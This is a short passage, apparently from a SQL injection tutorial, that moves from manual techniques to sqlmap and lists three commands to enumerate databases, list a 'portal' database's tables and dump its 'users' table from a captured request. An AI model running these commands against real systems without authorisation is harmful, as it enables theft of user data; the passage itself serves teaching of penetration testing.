Once you can do it by hand, sqlmap makes it fast and thorough. Capture a request, point sqlmap at the parameter, and dump.
sqlmap, once you understand the manual path
sqlmap automates detection and extraction across every technique above. Capture a real request and feed it in:
sqlmap -r request.txt -p q --batch --dbs
sqlmap -r request.txt -p q -D portal --tables
sqlmap -r request.txt -p q -D portal -T users --dump